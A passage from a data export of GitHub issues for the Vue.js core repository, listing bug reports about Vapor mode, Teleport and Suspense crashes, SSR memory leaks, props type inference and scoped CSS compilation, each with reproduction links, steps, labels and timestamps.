https://play.vuejs.org/#eNp9U21P2zAQ/iu37ANFYg5S2T50LRpDfNikvYgxPkWaQnJpTR3bss9ZUdX/ztkloUSIqFVyd89zfu7F2+zCWtEFzGbZ3FdOWgKPFCyoUi8XRUa+yM4LLVtrHMEWHDawg8aZFo6YdjSELldS1U8BkScr5mVAoSujPUFXKljEBJPT42dvteKD8DbFJsewOIdtoYEfhgv+B+TAj5JWwpW6Nu2EubtCz/O9WtbGBmFrVUnIVqTOa9k9ffYmVKr0ngsq77xRgTCV1SPi8+6AkI8SpHJG+OFQ6D7IJrbKBc4K72tsyqCiskP4IGS2xgdGc2ks4WYlPfDPmxaB0JPUS35vCBrj4BrLGi6UCTWQ4c6VtRhLG1LfBSKj4UulZLXm/ENf+ZS/tmad83yPGdeRj7q3dx6W3B/6AsqmpweF4CtjMUJF39t+hNZ4SdLoGfSRz/3wIpMp2QlvGC9CI5fi3hvNa5i4rN+0Vip0v2zMwFs467PyDJUy/78nX2z6Se+vVlitX/Hf+030Fdlvhx5dx2MaYlS6JdI+fPXnJ7f+INiaOihGvxG8xlQZa9zDvgZds+wDXFL7Ld0Snu6Nv9oQat8XlbaGkbuE570IePlG6c9yp+Is8bij3MXhwsWL/GKgc68MQT4eH3P+deiiDqZMxUcxPYs+8reD95M4FdNs9wi+Zk7m

### Steps to reproduce

1. Open the Vue SFC Playground link in Edge browser
2. Turn on Edge's ""Read Aloud"" feature (three dots -> More Tools, or Cmd + Shift + U)
3. While Read Aloud is reading the text ""This is some testing text for Read Aloud to read"", click the Update button
4. There will be a console error (see below)

```
VM850 about:srcdoc:164 NotFoundError: Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node.
    at insert (runtime-dom.esm-browser.js:10870:12)
    at mountElement (runtime-dom.esm-browser.js:7912:5)
    at processElement (runtime-dom.esm-browser.js:7828:7)
    at patch (runtime-dom.esm-browser.js:7694:11)
    at patchKeyedChildr... [TRUNCATED]",,2026-05-12T15:11:51Z,2026-05-13T06:37:55Z,3
vuejs/core,4387112294,Vapor compiler orders `useId()` differently than SSR compiler,"### Vue version

3.6.0-beta.10

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNqVUstOwzAQ/BXLl4JUnKIiDlVUCVAP5QAIerSEQrItLolt+REqRfl31s4DhKCCW3Zmdjy7m4Zeac1qD3RBU5sboR2x4LxecikqrYwjDfEW1gVpydaoikxQPBnJDVjX4ywJRfBCOk06M7TBwkGly8wBqTPsQoyQtBD1sn97QZr+kZNT0rZpErgoCo7LNBojkCaDERZ0Sp3NldyKHdtbJXGAJvRwmqtKixLMvXZCScsp+gcmcFlZqvfbiDnjYTrg+Svkbz/ge3sIGKcPBiyYGjgdOZeZHbiOXj3dwQG/R7JShS9RfYR8BKtKHzJ2smsvC4z9RRfTruOmhdxt7OrgQNphqBA0KNuo5xQ3eXNk9M+4c3YR+7hscYvD1f77B/ztxIP7Lzf+ftLnGkwYEMPM2SWbnb2Ay9j5jLYfTQTkGQ==

### Steps to reproduce

Ignoring that the SFC Playground's ""SSR Output"" tab doesn't render anything for `useId()` since that's not a problem locally.

I am getting hydration errors when Parent Component has `useId()` in the template and Child Component has `useId()` in its setup function.

Inspecting the compiled output shows that in vapor mode the child component runs first, and in SSR mode the parent template runs first.

```js
// Vapor
const t0 = _template(""<div> "")
function render(_ctx, $props, $emit, $attrs, $slots) {
  const n0 = t0()
  const n1 = _createComponent(_ctx.Test)
  const x0 = _txt(n0)
  _renderEffect(() => _setText(x0, ""App.vue: "" + _toDisplayString(_ctx.useId())))
  return [n0, n1]
}

// SSR
function ssrRender(_ctx, _push, _parent, _attrs, $props, $setup, $data, $options) {
  _push(`<!--[--><div>App.vue: ${_ssrInterpolate($setup.useId())}</div>`)
  _push(_ssrRenderComponent($setup[""Test""], null, null, _parent))
  _push(`<!--]-->`)
}
```

##... [TRUNCATED]",scope: vapor,2026-05-05T21:09:01Z,2026-05-06T01:26:59Z,1
vuejs/core,4374987200,Top-level `await` in `<script setup>` leaks reactive effects when the component is abandoned before the `await` resolves,"### Vue version

3.5.33 

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVN9v00AM/lesvCTVQlpUxsNoCwPtAR5g2gYvBKE0cbvbLndR7i4dqvq/Y19+tLAxpGlvsf3Z/vydnW1wWlVJ4zA4CWYmr0VlwaB11SJVoqx0bWELuS4rZ7GIoap1IwqMwVxnUurNBa5gB6talxBSkTBVQ9rpUjvbhZKxt7hP+GZAfDVYDwA2+niqcq2MhSy3okGYH3SLwowrhaM96gOxI0xPMopGMF90uUmTSUcV5nPoEuFtx+zE9z+oo1y5JEJ/dJtQvJs5CltAGHdICs3GrWQkFhkWy0pmFskCmC2dtVrBu1yK/HaeBi2tNvXoKA0WRy9n4xa0gO22b7/b+WyZLVH6QmQIRZNB86LUBUoq1c6WBmB/VUh2nRVCk6mykk1Wgiw/OqN5XLLHXTk/vm8y3nd5zoaOdD3oxzLfa3fpTIXKtFqRzSW0QkXvIgzV4EcdaszGB/DZ+EDnIA6soedbiXVyY7SiLd5yRstJSKy/VFbQ86bBCfgIx/zzfvI+WzuMe39+jfntA/4bc8e+NDivkYZhJYaYzeo1krwcPrv8jHf0PQRJPycJ/UjwAo2Wjjm2sPdOFUT7AOfZfvQnI9T6ypzdWZKiH4qJMnLn8WlAJ8Ta/Wv0Pd1p8srnpWpHKg73+dh/QKgbzG0Mm8zm1/fu3nujFjMcyyiGyO+F335Pg69NS0ykXkfh96Hxj/4CXFXQ4xZ0Z20iEfzPqRWiub/brfPvbel/M08fc+UUXQNdtpGIFUSloV/GdDIZtdPVVK1WoHAD55QnDEa0NFryf6wTALjllSiRuPbBGEpDU9J78LzcJ9tkgshxk+h4QvWfrnE/9LNIvD/nhxX+2WDN20kKT5PjZDplnzXfBu/rZJJMg91v4JQtHg==

### Steps to reproduce

1. Open [the minimal reproduction](https://play.vuejs.org/#eNqtVN9v00AM/lesvCTVQlpUxsNoCwPtAR5g2gYvBKE0cbvbLndR7i4dqvq/Y19+tLAxpGlvsf3Z/vydnW1wWlVJ4zA4CWYmr0VlwaB11SJVoqx0bWELuS4rZ7GIoap1IwqMwVxnUurNBa5gB6talxBSkTBVQ9rpUjvbhZKxt7hP+GZAfDVYDwA2+niqcq2MhSy3okGYH3SLwowrhaM96gOxI0xPMopGMF90uUmTSUcV5nPoEuFtx+zE9z+oo1y5JEJ/dJtQvJs5CltAGHdICs3GrWQkFhkWy0pmFskCmC2dtVrBu1yK/HaeBi2tNvXoKA0WRy9n4xa0gO22b7/b+WyZLVH6QmQIRZNB86LUBUoq1c6WBmB/VUh2nRVCk6mykk1Wgiw/OqN5XLLHXTk/vm8y3nd5zoaOdD3oxzLfa3fpTIXKtFqRzSW0QkX... [TRUNCATED]",,2026-05-04T08:13:53Z,2026-05-06T06:42:09Z,0
vuejs/core,4372359546,"Vapor Directive inside `<Teleport v-if=""..."">` doesn't run cleanup function","### Vue version

3.6.0-beta.9 - current

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UttKw0AQ/ZVxX1qhTQRFRNLi9UEfVNTHBUmTSVzd7Ibd2Vgp/XcnSVOLSCGQnTlnZs5cVuKyrqMmoDgXic+cqgk8Uqjn0qiqto5gBa+osX1OwGEBayicrWDEQSNppMms8QTNdfBkqxvlYAbjQ5jNYSUNQItajZG25XhU2WBodNj6HRdxZpf5hxvMDnstDX9DLf9uv7gKixkXqfbIlCTuxbNsNgirWqeE0KSsm30AySIQWQMXmVbZ50yKTZKD9i/FnGxZakzintal4aChcyDLIQubf0sBzVQVmwQc2EtPctUwkHVDmObKzWkTmsQM9RLiIR2bSTyIZENMBHnurVBl9OGt4WV0I5Eis1WtNLrHmhT3LsX5MCwpUq3t133nIxdwMvizd8w+//F/+GXrk+LJoUfXoBRbjFJXIvXw7csDLvm9BSubB83sPeAz8uZCq7GnXQWTs+wdXqf2rjspZcpXf7skNH5oqhXaLbrjS8HHdb2n9V+5x9HJcCA8xbcGXZuTB3gcnUZH0wVSGp2J9Q+m/ffy

### Steps to reproduce

The playground link has Vue version initially set to `3.6.0-beta.8` which does not have the problem.

1. Open browser's console
2. Press the ""toggle"" button, ""mount"" is logged
3. Press the ""toggle"" button again, ""unmount"" is logged

Now switch to `3.6.0-beta.9` or above and re-run the steps, ""unmount"" is never logged.

### What is expected?

The directive's cleanup function should run, just like how it does in non-Vapor mode.

### What is actually happening?

The directive's cleanup function does not run.

### System Info

```shell
System:
    OS: freebsd
    CPU: (8) x64 AMD Ryzen 7 1700 Eight-Core Processor          
    Memory: 662.53 MB / 10.53 GB
  Binaries:
    Node: 24.7.0 - /usr/local/bin/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 11.6.0 - /usr/local/bin/npm
    pnpm: 10.33.0 - /usr/local/bin/pnpm
  npmPa... [TRUNCATED]","scope: teleport,scope: vapor",2026-05-03T16:39:59Z,2026-05-05T23:48:36Z,2
vuejs/core,4365920830,Vapor crashes with Reka Primitive as-child slot forwarding,"### Vue version

`3.6.0-beta.10`

### Link to minimal reproduction

https://github.com/axtho/vue-vapor-reka-as-child-repro

### Steps to reproduce

```bash
git clone https://github.com/axtho/vue-vapor-reka-as-child-repro.git
cd vue-vapor-reka-as-child-repro
npm install --legacy-peer-deps
npm run test:browser
```

If Playwright browsers are not installed locally, either run:

```bash
npx playwright install chromium
```

or point Playwright at a local Chrome:

```bash
PLAYWRIGHT_CHROMIUM_EXECUTABLE_PATH=""/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"" npm run test:browser
```

The reproduction uses:

- a normal VDOM app root created with `createApp`
- `app.use(vaporInteropPlugin)`
- a Vapor SFC (`src/VaporPage.vue`)
- a small VDOM `Button.vue` wrapper using Reka UI `Primitive`
- `Primitive` with `as-child`
- a VDOM link-like child component (`src/components/LinkLike.vue`)

The relevant template is:

```vue
<script setup lang=""ts"" vapor>
import Button from './components/Button.vue'
import LinkLike from './components/LinkLike.vue'
</script>

<template>
  <Button as-child class=""primary"">
    <LinkLike href=""/target"">
      Open target
    </LinkLike>
  </Button>
</template>
```

The `Button` wrapper is intentionally small:

```vue
<script setup lang=""ts"">
import { Primitive } from 'reka-ui'

interface Props {
  as?: string
  asChild?: boolean
  class?: string
}

withDefaults(defineProps<Props>(), {
  as: 'button',
})
</script>

<template>
  <Primitive :as=""as"" :as-c... [TRUNCATED]",,2026-05-01T18:09:44Z,2026-05-03T18:51:13Z,3
vuejs/core,4334611553,"<Transition mode=""out-in""> + <Suspense> inside a <template v-if> fragment leaks DOM on toggle","### Vue version

3.5.30

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-assboxgb

### Steps to reproduce

Hi Vue team,                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                                           
when toggling between two `<template v-if>` branches that each contain a `<Transition mode=""out-in"">` wrapping a `<Suspense>` with an async-setup component, every toggle leaves the previous DOM subtree behind in the container.After N clicks you end up with N+1 copies of the async child rendered. Sibling nodes in the same Fragment (e.g. an `<h4>`) are removed correctly - only the Transition/Suspense subtree leaks.

I came across this from (as a Member) nuxt/nuxt#34859 - it surfaces there because <NuxtPage> renders exactly this structure internally. I reduced it to a Vue-only repro (no Nuxt, no vue-router), which is why I'm filing it here. Conditions (all required to reproduce):                                                                                                                                                                                    ... [TRUNCATED]","scope: suspense,has workaround,:hammer: p3-minor-bug",2026-04-27T09:25:02Z,2026-05-06T06:42:29Z,0
vuejs/core,4303830462,Deeply unwraps refs in reactive objects lead Typescript error,"### Vue version

3.5.32

### Link to minimal reproduction
_you have to sometimes reload the example, because is can break reactivity_
https://play.vuejs.org/#eNqNVMFu2zAM/RVCF6do4BTLdincYl3Xw3ZYh7RHA4OiMI5SWzIkyk0Q5N9Hy3GaAE1TwDBE8vmRfBS9EXd1nTYBxbXIvHK6JvBIoYZSmuImF+RzcZsbXdXWEWzA4XzIL6lINwhbmDtbQcIESW5yo0rpPfyUJGGTGwBlgyG4ab8aXF20Hm2UwwoNPa9r9LLBwUUHBaCF9mn8Im1kGfDyEkYjUNIkBEyrCwNkoXa2RkdryEVE5QKsgatrMJZhBux0iYpaxu1RvgnOj9Md5Osy3RmQTtOiQtIK2izSzKAKnmCKYOdAXDIk0qyTISQmVFN07WmqC20oAeva/MiBiEx3NfDDwljDNJ6sQ5bD4GsUacCSdJFe0acdorcHb1DGZqNuRDwQNgirupSEbAFki/HtfaR6jAJkI3bEwDQQsULfVanVC080FpG+MwcedG9cw2bTVdsJBNttNuqIPkW6F5s5d+dzlAB9G5P+dp3r5Ei0Ex0dZj/Gf66xEzlONXg2RTY6GJsY8n7xBZjrIl16a3gJ4+XMhbJVrUt0jzVpnmoumH2nkpBlaV9/Rx+5gMPerxaoXt7xL/2q9eXir0OPruGV2cdIugKpCz88/cEVn/fBys5CyegPghP0tgxtjR3sRzAzLvsAF6v9FX8f2hTP/mFFaHzfVFto3JOI55UOeP9B62/ljtOv/X6xiv8adC0nCzhOv6XjL2L7H0IgqVU=

### Steps to reproduce

Create an ES Class or Object with a function using `this`
```js
class Data {
  count = ref(0)
  increment() {
    this.count.value++
  }
}
```
And make it a `reactive()`
```js
const reactiveStore = reactive(new Data())
```


### What is expected?

As described in [docs](https://vuejs.org/api/reactivity-core.html#reactive), the ref gets deeply unwraps, and the  increment function should work.

### What is actually happening?

But the Typescript `this` type doesn't change, so there is an error in runtime (_can't assign to property ""value"" on 0: not an object_), but correcting this error by r... [TRUNCATED]",,2026-04-21T15:59:58Z,2026-04-22T03:34:34Z,1
vuejs/core,4301752021,"The union type only includes boolean, which is false, and it has nothing to do with the order","### Vue version

3.5.32

### Link to minimal reproduction

https://play.vuejs.org/#eNq1U7Fu2zAQ/ZUDO9gBVAmtk8VwXDRthnZIg6boUhaFLJ1luRRJkCfHhap/75GKbA9BmiWABt27R77H42Mn3lub7loUc7HwhastgUdqLahcV5dSkJdiKXXdWOMIOnC4hh7WzjQw4WUTqQujPYF1xnq4hPuaNh9xnbeK/LTEda3xNrQWndQAZe3zlcLy3Rx026zQwV9YGaMw11L3y+lZAl1/JnWWwYbI+nmWscjWp8ZVWdXWJWaFYSsaNfksaqYbatSrh01eF7mnWldxB/5GPbalFKwQQp9LMkCuxUg7MTllk4wcfc7hx9WwcwI30fDPyAgeX0Ljjhy7fxGNwX4CD1rP0LC581zmHnIN2Fj6Az76g+nI5YBIMdzXf+SHkz0iH+LDUKpMNR0udFyVTGI9YdIiG7LJSeSC2IzKCbkCWGzeLLvu6L7vFxlDYc0JTyScZJZa11W69UZz3GMgpQh5qhW6L5ZqtiLFHGIn9HKlzP3niIUxJyNebLD4/Qi+9fuASXHr0KPboRSHHuWuQhra13c3uOf/Q7MxZauY/UTzK/KY2uBxoF21umTbJ7zo9lN8qDzqb/56T6j9eKghJwB95EvB7+rDE0c/2p2l53EdP1Ce4q8durAnD3CWXqSztwEj//2AXjB6Lvp/fIJ3NQ==

### Steps to reproduce

View the interface, or press F12
// https://vuejs.org/guide/components/props.html#boolean-casting


### What is expected?

consistent with the document


### What is actually happening?

Default values do not match


### System Info

```shell

```

### Any additional comments?

_No response_",,2026-04-21T09:50:38Z,2026-04-22T03:24:17Z,1
vuejs/core,4294031891,Textarea resize styles are lost after updates,"### Vue version

3.5.32

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VF1v0zAU/StXeVg3qU23MfEQugmYJjGEAFEeeMiLl9y0Hk5s2U7aMlXib/D3+CUcO03XTWhPrc899+Oca+cheWdM2rWcZMnMc22U8HyVN0SzUnbhl6hQwrnLPFlZYfKkx97WunXMjWeLiHQfdMdWNgu6JG9bfkpTLDp+TquEcjte7IeOntdeWBbUTWpdskJKJ1SoRpnzGxVqDJx5OCMwHZKdEQ0SZQWSW+rVNbpaEIbpZaGbPLn6MZsGZi9xCo34N5seKMfRFVYaT459a0iJZhH6OiTnjayNtp4eyHI1pkLXpvVc0pYqq2sawchRKIFezlMcHlLBPR590pZrksa1NZVaaUtO+nR0MpCfmBMyokEI5810SrdUiObv7z8eIbUhp1X40Q1dz+eULUPmmCJTOJINWEJNVtqqklzBjbBSO/JLpk46eSeV9MiuIhKMQXfyGyMLoVAWgLdaKQi721DdKi+N4gCX0ktMmw5D743GzIMZx8cndHnVi097C46ODuT12F73k4XupD+E7axk6ZcZjc5PT816NA7QkuVi6YGdDdgWdbDRuLDd8mIdV2jDJZA03FqKBY2G4xg/Cx4KLzt+c9Cnkn4ShONOA96GWmm05lmuuIP50BlzbT/PhVnHo9fm8VC01mmbIVWGZxKxCg0mTv7ijM7OIy822l/8vpcoS/g02RU/ez0QITSIg6pkjAuJ4Sq5SO+dbvB6Y2qehC1IxfaLiZvKk6wvGmJYrl59jFh4pNHSmLPk4ud/8Hu3DliefLXs2HZ4b/sY5l2w78M3888QcBDE623D63wh+I2jjZixp71vmxJjH/DitLfxvcGN7+5mjd24QVT8yoC5jXx8KFq+fkH647iv0ouYB0eT7T/mvrYN

### Steps to reproduce

Drag the bottom-right corner to resize the textarea

### What is expected?

The textarea should resize smoothly based on native browser behavior.

### What is actually happening?

The textarea size flickers when resizing.

### System Info

```shell
System:
    OS: macOS 15.4.1
    CPU: (14) arm64 Apple M4 Pro
    Memory: 1.31 GB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.8.0 - /usr/local/bin/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 11.6.0 - /usr/local/bin/npm
    pnpm: 1... [TRUNCATED]","has workaround,:hammer: p3-minor-bug",2026-04-20T07:54:54Z,2026-04-22T06:06:03Z,7
vuejs/core,4279181453,`onScopeDispose` can cause a SSR memory leak,"### Vue version

3.5.32

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-zqf6g74x?file=src%2Fcomponents%2FComponentA.vue&terminal=dev

### Steps to reproduce

1. download the reproduction from stackblitz (won't work there)
2. run `pnpm i && pnpm ssr`
3. see the heap size & alive app instances grow with each request


The script creates 1000 fresh ssr apps, renders them to string and tracks whether each of them gets garbage-collected.

2 sibling async SFC components with top-level await are needed for this to reproduce. One of them needs to capture a stop handle for an immediate watcher, which then ends up keeping the whole scope in memory and through it, the whole app. _(probably)_

**ComponentA**
```vue
<script setup>
    const enabled = await Promise.resolve(false)
    const el = ref(null)
    const stopWatch = watch(() => el.value, () => {}, { immediate: true })  // actually runs on the server
    onScopeDispose(() => { stopWatch() })
</script>

<template>
    <div ref=""el"">Component A {{ enabled }}</div>
</template>
```

**Component B**
```vue
<script setup>
    const enabled = await Promise.resolve(false)
</script>

<template>
    <div>Component B {{ enabled }}</div>
</template>

```

**app:**
```vue
<template>
    <div>
        <ComponentA />
        <ComponentB />
    </div>
</template>
```

### What is expected?

All apps should get garbage collected.

### What is actually happening?

Every app is kept in memory forever:
```
FINAL: created=10... [TRUNCATED]","scope: ssr,:exclamation: p4-important",2026-04-16T23:50:09Z,2026-04-22T06:02:06Z,1
vuejs/core,4269318240,defineProps runtime props inference misses Array from MaybeRef<T[]> in union type after upgrading to Vue 3.5.31,"### Vue version

3.5.31

### Link to minimal reproduction

https://github.com/wuchunxu/vite-prop-runtime-repro

### Steps to reproduce

After upgrading Vue from `3.5.21` to `3.5.31`, runtime props inference from `defineProps<T>()` changed for a complex union type.

I have a prop type like this:

```ts
export type FormItemOptions<T = any, Context = any> =
  MaybeRef<OptionItem[]>
  | Promise<OptionItem[]>
  | ((row: T, context: Context) => Awaitable<OptionItem[]>)
```

In built output, Vue generates runtime prop type as:

```js
options: {
  type: [Promise, Function],
  default: () => []
}
```

`Array` is missing, so passing an array value triggers runtime warning:

```txt
[Vue warn]: Invalid prop: type check failed for prop ""options"". Expected Promise | Function, got Array
```

If I explicitly add `OptionItem[]` in the union (instead of relying only on `MaybeRef<OptionItem[]>`), the generated runtime type includes `Array` and warning disappears.


### What is expected?

Runtime props inference should include `Array` branch (or at least not narrow in a way that rejects valid array values from `MaybeRef<OptionItem[]>`).

For this case, expected generated runtime type should include:

```js
type: [Array, Promise, Function]
```

### What is actually happening?

Generated runtime type is:

```js
type: [Promise, Function]
```

which rejects array values at runtime.


### System Info

```shell

```

### Any additional comments?

This looks like a boundary case in SFC type-to-runtime ... [TRUNCATED]",:hammer: p3-minor-bug,2026-04-15T13:38:00Z,2026-05-06T06:41:35Z,3
vuejs/core,4265883553,Quickly switch Transition,"### Vue version

3.5.32

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ustu2zAQ/JUte0gCxFIQtxdVMfpADu2hLRofeiBQqPRKYUKRBLlSHBj+9y4pwbWBILqIuzM7HA65E5+8L8YBRSXqqIL2BBFp8Ctpde9dINhBwBb20AbXwxlTz6RVzkYm3rsnuEnwOYUBL6Sty0mDp7kg7L1pCLkCqP8ORM7CR2W0eryRYp5+k/5SrNau6wzecVGXEzWL8OA6NDZq0rkD/B2EYVzodpaSAt7OODM2elwRbqku02oeK08NlSfCJyiXkZ5NWhbjAi1hWDSK9IiXuWOwGXHuwC6p0UGrgsYYWEbAJuIHafdJ7qCSUjzWIHc037rQV9MyGfl9vri+8tsLFgFwvlGaniu4mjQ56tmhuBQU+UZa3RUP0Vm+yiwphXK91wbDD5+MRSmqabOEsUn39C330uWxp6mv7lE9vtB/iNvUk+JnwIhhRCkOGDWhQ5rg27vvnPsR2LvNYJj9CvgLozND8jjRPg92w7aPeNnt1/wgte3W8XZLyHnPh0pGE3Of+VLwI/3yytH/210W7/IcJ8op/hkxJE0OcFm8L5bXYv8PjR8M0g==

### Steps to reproduce

Click quickly twice

### What is expected?

normal transition

### What is actually happening?

Tips: `Cannot read properties of null (reading 'Symbol(_leaveCb)')`

### System Info

```shell

```

### Any additional comments?

_No response_","scope: transition,🔩 p2-edge-case",2026-04-15T02:34:37Z,2026-04-22T06:03:40Z,2
vuejs/core,4261263389,`:deep` within `:is` is not resolved when there is another selector,"### Vue version

7df0edd

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uj1PwzAQ/SuWl7ZSlQwwhYIEqEgwAAJGL8G5BhfHZ/mcUlT1v3N2aKkEdInO7yN65+eNvPS+WPUgKzkjHYyPgiD2XtjatedKRlLyQjnTeQxR3CCKRcBOjIqS52QcKTcrByfr+BCh87aOwCchZo1Z5YHHZC4HtBzgWXkg5iPFTwuCNHpoGKkMjasGwI+LBeJkIorXOohN+oNGi6ESAZoz5bY5QvKySU45s0a3MG2xJHS8WHYoqbHzxkJ48NGg472q4V+Jq63Fj7uMxdDDdIfrN9Dvf+BLWidMyccABGEFSu65WIcW4kDPn+9hzfOe7LDpLauPkE9AaPuUcZBd9a7h2Ae6nPY2V2Jc+0LzdQRHu6VS0KTcZr2SXNL1kdV/4p4Up9nHN8q3+N1vehi/KhXa1kT8PLiX/D5yweRrt2e4Kmb4y9Uw/n/vcvsFy3XUSA==

### Steps to reproduce

```css
:is(:deep(.foo)) .bar {
  color: red;
}
```

is transformed to

```css
:is(:deep(.foo)) .bar[data-v-7ba5bd90] {
  color: red;
}
```

### What is expected?

should be compiled to:

```css
:is([data-v-7ba5bd90] .foo) .bar {
  color: red;
}
```

### What is actually happening?

`:deep` is left unresolved.

### System Info

playground

### Any additional comments?

downstream - https://github.com/vitejs/vite-plugin-vue/issues/763",:hammer: p3-minor-bug,2026-04-14T09:59:31Z,2026-04-22T06:26:23Z,0
vuejs/core,4253944998,[Vapor] Unable to remove Teleport nested within a regular element,"### Vue version

3.6.0-beta.10

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kctuwjAQRX/F9aatBAkVVRcooD7Eol20VWFpqQrJJBgc2/IjUKH8e8cJoSwqVrbnnju6Mz7QJ62j2gOd0MRmhmtHLDivSZ1qZWZM8gpPRw7EQEEaUhhVkWs0XDOZKWkRX6sdmQb5xhkPt0wymcRdL/Tjw0GlReoAX4QkK++ckuQxEzzbThk9+q/CyehsqcpSwAIfSdyhnS3nNamHvDg6kAxlFJYgoI3oFGorlf+cNFS51N6RuIfjnu6axtgVb0l8FpEOqLM4WsHLaGOVxM0cAsxopirNBZgP7TiOzuiEtErQUiHU7q2thS0M+nq2hmz7T31j96HG6KcBC6YGRk+aS00JrpPni3fY4/0kVir3AukL4hdYJXzI2GHPXuYY+4xr0762P8tlubTzvQNp+6FC0EA2Lc8o/vbLhdH/4o6j+9bHZINb/K7BhJ64wHH0EI2GK3BpdDeizS9wpM7R

### Steps to reproduce

Click the 'ToggleShow' button

### What is expected?

Remove the 'Teleport' component

### What is actually happening?

Cannot remove

### System Info

```shell

```

### Any additional comments?

_No response_",scope: vapor,2026-04-13T11:05:57Z,2026-04-13T23:59:05Z,5
vuejs/core,4236261049,Effect Scope Memory Leak,"### Vue version

3.5.32

### Link to minimal reproduction

https://github.com/bgarcias-cp/nuxt-v4-memory-leak

### Steps to reproduce

Steps to reproduce the memory leak:
1. Clone the repo and install dependencies.
2. Build the project: npm run build.
3. Launch the server: node --inspect .output/server/index.mjs.
4. Run load test: autocannon -c 10 -d 20 http://localhost:3000/.

**Result:**
Memory footprint grows from 13.7 MB to 122 MB. The leak persists even after garbage collection.

There are numerous string objects holding references to EffectScope, specifically originating from reactivity.cjs.prod.js and runtime-core.cjs.prod.js

<img width=""1915"" height=""1056"" alt=""Image"" src=""https://github.com/user-attachments/assets/86eb2e90-ed39-4172-9c28-a89523afb7c4"" />



### What is expected?

Memory usage should remain stable after the load test finishes, and any temporary objects should be cleared by the garbage collector, returning the heap size to near-baseline levels.

### What is actually happening?

uring the load test, memory usage scales linearly with the number of requests, increasing from 13.7 MB to 122 MB. Analysis of the heap snapshot reveals a large accumulation of string objects that maintain active references to EffectScope. These references are traced back to reactivity.cjs.prod.js:15 and runtime-core.cjs.prod.js:6450, suggesting that scopes are not being properly disposed of after the request lifecycle, even when the garbage collector is manually triggered.

###... [TRUNCATED]",,2026-04-10T03:08:11Z,2026-04-10T05:52:32Z,2
vuejs/core,4231252466,[Teleport] TypeError: Cannot read properties of null (reading 'subTree') during Suspense resolve — regression in 3.5.32,"### Vue version

3.5.32

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1PAjEQ/SuTekAT042iF7KQqPGg8SvKsYlZdgco7LZN2wUM4b877bKAUbn1zXszffOxZjfG8EWNrMdSl1tpPDj0tRkIJSujrYdnXdQlwtjqCjo8aWBI6QiVJk0OqQl4rEyZeQzIpx+1M6hcgwhv6yQtbtVwMs7KcpTl88GTzgqpJpzzNPlZLDmodsCxc+ZdrtVYTvjMaUVdrIUCECzXlZEl2lfjpVZOsB5EJnD0nV4+xpi3NZ638XyK+fyP+MytQkywN4sO7QIF23E+sxP0DX3/8YIreu/IKrZ8lHxHp8s6eGxkt7UqyPaBLrp9iLug2Qzd/crTINqmgtGg3ES9YLSXuyOt7+12+VXME2pDU9xv9f9DWMMUNts7aNYvFM3eeQg/Qp8EFlWBtgenZ9AfwPS0U8hF5yx8IlS2zKSHi+NHQ/rBnVbUIe08gBgdYonRgtd9wUa6+BIMCumyUYlFe09h41pRIvSkI1kwRbLm3tKkrfHrgD4XaMM4qfEuv+bdS7b5BjnJDFw=

### Steps to reproduce

1. Open the reproduction link (Vue 3.5.32)
2. Open browser console
3. See `TypeError: Cannot read properties of null (reading 'subTree')` on page load
4. Switch Vue version to 3.5.31 → error disappears

### What is expected?

No error. The page renders correctly (works in 3.5.31).

### What is actually happening?

Crash on page load:
Uncaught (in promise) TypeError: Cannot read properties of null (reading 'subTree') at move (runtime-dom.esm-browser.js:8744:28) at Object.moveTeleport [as move] (runtime-dom.esm-browser.js:3443:9) at move (runtime-dom.esm-browser.js:8752:12) at move (runtime-dom.esm-browser.js:8744:7) at move (runtime-dom.esm-browser.js:8758:9) at move (runtime-dom.esm-browser.js:8744:7) at Object.resolve (runtime-dom.esm-browser.js:9498:11)

### System Info

```shell
...
```

### Any additional comments?

**Regression introduced by PR #... [TRUNCATED]","scope: teleport,:hammer: p3-minor-bug",2026-04-09T09:56:04Z,2026-04-22T06:03:00Z,0
vuejs/core,4230415156,Teleport + Suspense: `Cannot read properties of null (reading 'subTree')` during move in Suspense resolve (regression still present in 3.5.32),"### Vue version

3.5.32

### Link to minimal reproduction

https://github.com/gitlibingchen/vue-teleport-suspense-repro

### Steps to reproduce

```bash
git clone https://github.com/gitlibingchen/vue-teleport-suspense-repro.git
cd vue-teleport-suspense-repro
npm install
npm run dev
```

1. Open http://localhost:5173
2. Wait for ""Page A"" to load (async component resolves via Suspense)
3. Click ""Go to B""
4. Check the browser console for errors

A Node.js + jsdom test is also included (`node test-repro.mjs` after `npm install jsdom`) that confirms the crash without a browser.

### What is expected?

Navigation between async pages completes without errors. Teleported elements from the previous page are cleanly unmounted.

### What is actually happening?

```
TypeError: Cannot read properties of null (reading 'type')
    at unmountComponent (runtime-core.esm-bundler.js)
    at unmount
    at Object.remove (Teleport)
    at unmount
    at unmountChildren
    at unmount
    at unmountComponent
    at unmount
    at Object.resolve (Suspense)
```

During Suspense branch swap, when `Transition(mode=""out-in"")` wraps `Suspense` and the async component uses `Teleport`, the deferred Teleport mount leaves component instances as null. When Suspense resolves the new branch and unmounts the old one, `unmountComponent` encounters a null instance and crashes.

### Any additional comments?

This is a continuation of #14640, which was fixed via #14642 in 3.5.32. However, the fix does not cover the... [TRUNCATED]",,2026-04-09T07:40:31Z,2026-04-09T08:26:15Z,2
vuejs/core,4217875781,[Vapor] applications created with createVaporApp errors for components without setup vapor,"### Vue version

3.6.0-beta.9

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-syb8rkae?file=src%2FApp.vue

### Steps to reproduce

Open the reproduction link

### What is expected?

Both cards should render. If an application is created with createVaporApp setting vapor on a component level shouldn't be required

### What is actually happening?

The second card is missing ""<script setup vapor></script>"", this causes the error  
```
Uncaught TypeError: can't access property ""title"", slots is undefined
